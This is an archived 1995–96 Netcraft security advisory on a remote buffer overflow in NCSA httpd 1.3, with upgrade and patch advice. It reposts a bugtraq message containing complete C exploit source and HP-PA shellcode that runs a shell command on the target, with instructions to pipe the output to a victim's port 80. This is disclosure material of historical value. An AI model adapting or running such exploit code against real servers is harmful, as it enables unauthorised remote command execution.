home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / INTERNET / NCSA13_1.ZIP / NCSA13~1.HTM
Encoding:
Text File  |  1996-05-19  |  9.1 KB  |  276 lines

  1.  
  2.    Netcraft
  3.    
  4.                          HTTP - NCSA 1.3 VULNERABILITY
  5.                                        
  6.    
  7.      _________________________________________________________________
  8.    
  9.   Service
  10.   
  11.    http
  12.    
  13.   Program
  14.   
  15.    NCSA httpd version 1.3 and earlier
  16.    
  17.   Timeliness
  18.   
  19.    Widely known since 13th February 1995.
  20.    
  21.   Impact
  22.   
  23.    Internet users can obtain remote access on the machine as the owner of
  24.    the http daemon. The owner of the httpd is set by the User Directive
  25.    in the server configuration file httpd.conf.
  26.    
  27.   Recommendation
  28.   
  29.    There is no good reason to run a version of NCSA earlier than 1.5.
  30.    Upgrade to the latest version.
  31.    
  32.   Simple Vulnerability Test
  33.  
  34. #telnet to the http port and use the http HEAD method to find out the
  35. #server type and version. If the server signature is NCSA/1.3
  36. #or earlier and a specific patch has not been installed the http server
  37. #is vulnerable.
  38.  
  39. ns0: {21} telnet www.netcraft.com 80
  40. Trying 194.72.238.5...
  41. Connected to www.netcraft.com.
  42. Escape character is '^]'.
  43. HEAD / HTTP/1.0
  44.  
  45. HTTP/1.0 200 Document follows
  46. Date: Thu, 28 Dec 1995 17:08:55 GMT
  47. Server: NCSA/1.5
  48.  
  49.   Description
  50.   The vulnerability is triggered by a buffer overflow condition, whereupon
  51.   the server can be coerced into executing other programs, such as a Unix
  52.   shell.
  53.  
  54.  
  55.  
  56. The advice given in
  57.  
  58. Cert Advisory CA-95:04
  59. is misleading as
  60. two alternative patches are presented as a single solution. The
  61. material in Step 1 of the Cert advisory should be ignored. If you intend
  62. to patch your existing server rather than upgrade, simply follow the
  63. instructions in Step 2 of their advisory.
  64. Cert issued an
  65. update
  66. to this effect on 15th March 1995.
  67.  
  68.  
  69.       From Cert Advisory CA-95:04
  70.  
  71. Step 1:
  72. In the file httpd.h, change the string length definitions from:
  73. /* The default string lengths */
  74. #define MAX_STRING_LEN 256
  75. #define HUGE_STRING_LEN 8192
  76. to:
  77. /* The default string lengths */
  78. #define HUGE_STRING_LEN 8192
  79. #define MAX_STRING_LEN  HUGE_STRING_LEN
  80.  
  81. The NSCA httpd team point out that there are 154 variable declarations
  82. which use MAX_STRING_LEN in the server, and changing them from 256 to 8192
  83. increases virtual memory requirements very significantly. However, there is no
  84. further vulnerability arising from strings exceeding the larger buffer size
  85. as 8192 is the maximum number of characters read by the server in response
  86. to a request.
  87.  
  88.   Detailed Demonstration
  89.   A program to demonstrate the problem on an HP PA-RISC machine
  90.   was published by Thomas Lopatic on 13th Fenruary 1995. The method is
  91.   equally applicable to other architectures, and we would be pleased to
  92.   hear from anyone who has a similar demonstration program for any other
  93.   common platform.
  94.  
  95. From: Thomas Lopatic <lopatic@dbs.informatik.uni-muenchen.de>
  96. Subject: Vulnerability in NCSA HTTPD 1.3
  97. To: bugtraq@fc.net
  98. Date: Mon, 13 Feb 1995 22:38:20 +0100 (MET)
  99.         
  100. Hello there,
  101.  
  102. we've installed the NCSA HTTPD 1.3 on our WWW server (HP9000/720, HP-UX 9.01)
  103. and I've found, that it can be tricked into executing shell commands.
  104. Actually, this bug is similar to the bug in fingerd exploited by the internet
  105. worm. The HTTPD reads a maximum of 8192 characters when accepting a request
  106. from port 80. When parsing the URL part of the request a buffer with a size
  107. of 256 characters is used to prepend the document root (function strsubfirst(),
  108. called from translate_name()). Thus we are able to overwrite the data after
  109. the buffer. Since the stack grows towards higher addresses on the HP-PA, we
  110. are able to overwrite the return pointer which is used to return from the
  111. strcpy() call in strsubfirst(). The strcpy() overwrites its own return
  112. pointer. On systems with a stack growing the other direction, we'd have to
  113. overwrite the return pointer of strsubfirst().
  114.  
  115. I've implemented this attack for the precompiled HP-PA release provided by
  116. the NCSA. To adapt it to custom versions, you have to know the address of the
  117. buffer used by strsubfirst() and the offset of the return pointer. One might
  118. adapt the program to try 'probable' values, i. e. values within a certain
  119. range, if these parameters are not known. I've tried 'cc' and 'gcc' with and
  120. without optimization and the parameters didn't vary to much. A generic attack
  121. using brute force should therefore be possible.
  122.  
  123. This is the program I've used to break into our WWW server. The assembly code
  124. could have been more compact, but I had to avoid 0x00 bytes. The program
  125. creates a file named 'GOTCHA' in the '/tmp' directory.
  126.  
  127. Greetings and happy experimenting,
  128. -Thomas
  129.  
  130. --- cut here ---
  131.  
  132. /* hc.c */
  133.  
  134. /* This program demonstrates a vulnerability in the NCSA httpd 1.3 */
  135. /* We make use of a buffer overflow in order to execute commands */
  136. /* on a HP host running the precompiled daemon provided by the NCSA. */
  137.  
  138. /* The problem is that the array 'tmp' in the function 'strsubfirst()' */
  139. /* has a length of MAX_STRING_LEN. However, the function can be passed */
  140. /* arguments with up to HUGE_STRING_LEN characters. */
  141.  
  142. /* The output of this program can be pasted into a telnet session */
  143. /* to port 80 of the host to be attacked. */
  144. /* Alternatively simply use 'hc | telnet www.victim.com 80'.
  145.  
  146. /* Written by Thomas Lopatic, lopatic@informatik.uni-muenchen.de */
  147.  
  148. #include <stdio.h>
  149. #include <string.h>
  150.  
  151. /* Instead of defining these macros we could try all probable values */
  152. /* in case the attacked host does not run the precompiled httpd. */
  153.  
  154. /* The address of 'char tmp[MAX_STRING_LEN]' in the precompiled httpd. */
  155. #define TMPVAR 0x7b03df80
  156.  
  157. /* This is an offset from TMPVAR. The return pointer for the call to */
  158. /* strcpy() is stored here (in the precompiled httpd). */
  159. #define RPOFF 0x160
  160.  
  161. /* Byte order of the attacked HP is big endian. */
  162. #define SHIFT1 24
  163. #define SHIFT2 16
  164. #define SHIFT3 8
  165. #define SHIFT4 0
  166.  
  167. /* Output the lower nibble of i */
  168. char d2a (i)
  169. int i;
  170. {
  171.         i &= 0xf;
  172.         return (i > 9) ? (i + 'A' - 10) : (i + '0');
  173. }
  174.  
  175. /* This is the short assembly language program which will be executed. */
  176. char prog[] = {
  177.         0x34, 0x59, 0x01, 0x02, 0x34, 0x5a, 0x01, 0x32,
  178.         0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x01,
  179.         0x63, 0x40, 0x3f, 0xff, 0x34, 0x5a, 0x01, 0x38,
  180.         0x63, 0x40, 0x3f, 0x35,
  181.         0x37, 0x5a, 0x3e, 0xf9, 0x6b, 0x3a, 0x3f, 0x09,
  182.         0x63, 0x40, 0x3f, 0xff, 0x0b, 0x5a, 0x02, 0x9a,
  183.         0x6b, 0x3a, 0x3f, 0x11, 0x34, 0x5a, 0x01, 0x22,
  184.         0x37, 0x5a, 0x3e, 0xf9, 0x6f, 0x3a, 0x3e, 0xf9,
  185.         0x20, 0x20, 0x08, 0x01, 0x34, 0x16, 0x01, 0x1e,
  186.         0xe4, 0x20, 0xe0, 0x08, 0x36, 0xd6, 0x3e, 0xf9,
  187.         0x0b, 0x5a, 0x02, 0x9a, 0x20, 0x20, 0x08, 0x01,
  188.         0x34, 0x16, 0x01, 0x0a, 0xe4, 0x20, 0xe0, 0x08,
  189.         0x36, 0xd6, 0x3e, 0xf9, 0xe8, 0x5f, 0x1f, 0x35,
  190.         0x0b, 0x5a, 0x02, 0x9a,
  191.         0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  192.         0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
  193.         0x00
  194. };
  195.  
  196. int main ()
  197. {
  198.         char buffer[400];
  199.         int i;
  200.  
  201.         /* Copy program, append the arguments. The '$'s are replaced */
  202.         /* with 0x00s by the assembly language routine. */
  203.         strcpy (buffer, prog);
  204.         strcat (buffer, "/bin/sh$");
  205.         strcat (buffer, "-c$");
  206.         /* Length of the argument must be exactly 30 characters. */
  207.         /* Otherwise the '$' will not be replaced correctly. */
  208. /*      strcat (buffer, "0123456789012345678901234567890123456789$"); */
  209.         strcat (buffer, "echo GOTCHA >/tmp/GOTCHA                $");
  210.  
  211.         /* Output the http request. */
  212.         printf ("GET ");
  213.         /* Output the program. */
  214.         for (i = 0; i < strlen (buffer); i++)
  215.                 printf ("%%%c%c", d2a (buffer[i] >> 4), d2a (buffer[i]));
  216.         /* Fill the buffer until we have reached the memory location */
  217.         /* which contains the return pointer for strcmp(). */
  218.         for (i = strlen (buffer); i < RPOFF; i++)
  219.                 printf ("X");
  220.         /* Output the entry point for our program. strcmp() will */
  221.         /* 'return' into our small assembly program. */
  222.         printf ("%%%c%c%%%c%c%%%c%c%%%c%c\n",
  223.                 d2a ((TMPVAR + 0x60) >> (SHIFT1 + 4)),
  224.                 d2a ((TMPVAR + 0x60) >> SHIFT1),
  225.                 d2a ((TMPVAR + 0x60) >> (SHIFT2 + 4)),
  226.                 d2a ((TMPVAR + 0x60) >> SHIFT2),
  227.                 d2a ((TMPVAR + 0x60) >> (SHIFT3 + 4)),
  228.                 d2a ((TMPVAR + 0x60) >> SHIFT3),
  229.                 d2a ((TMPVAR + 0x60) >> (SHIFT4 + 4)),
  230.                 d2a ((TMPVAR + 0x60) >> SHIFT4));
  231.  
  232.         return 0;
  233. }
  234.  
  235. --- cut here ---
  236.  
  237. --
  238. Thomas Lopatic                               lopatic@informatik.uni-muenchen.de
  239.  
  240.   References
  241.      * NSCA httpd Documentation
  242.      * NCSA Problem Description
  243.      * Cert Advisory CA-95:04
  244.      * Cert Advisory CA-95:04.README
  245.      * Author's Eye View
  246.  
  247.  
  248.  
  249. Last Modified 30th December 1995
  250.  
  251.  
  252.  
  253. Your comments are much appreciated.
  254.  
  255.  
  256.  
  257.  
  258.   __________________________________________________________________________
  259.  
  260.  
  261.  
  262.  
  263.  
  264. Business Models for the Web |
  265. Is your Network Secure? |
  266. 1996 Security Diary |
  267. Web Server Survey |
  268. Client List
  269.  
  270.  
  271.  
  272.  
  273.  Netcraft
  274.  
  275.         Copyright ⌐ Netcraft 1995, 1996
  276.